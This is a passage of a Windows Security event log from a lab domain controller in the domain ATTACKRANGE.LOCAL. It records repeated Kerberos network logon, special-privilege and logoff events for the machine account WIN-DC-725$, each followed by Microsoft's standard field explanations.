	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBFA43
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64004

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248699
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBFA43

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248698
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBF9C9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248697
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBF9C9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64003

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248696
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBF9C9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248695
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBF952

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248694
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBF952
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64002

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248693
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBF952

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248716
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC11B9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248715
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC11B9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64009

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248714
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC11B9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248713
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC1156

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248712
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC1156
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64008

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248711
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC1156

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248710
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC10F0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248709
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC10F0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64007

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248708
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC10F0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248707
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC108D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248706
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC108D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64006

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248705
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC108D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248728
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC2721

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248727
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC2721
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64013

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248726
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC2721

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248725
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC26AE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248724
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC26AE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64012

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248723
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC26AE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248722
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC263A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248721
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC263A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64011

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

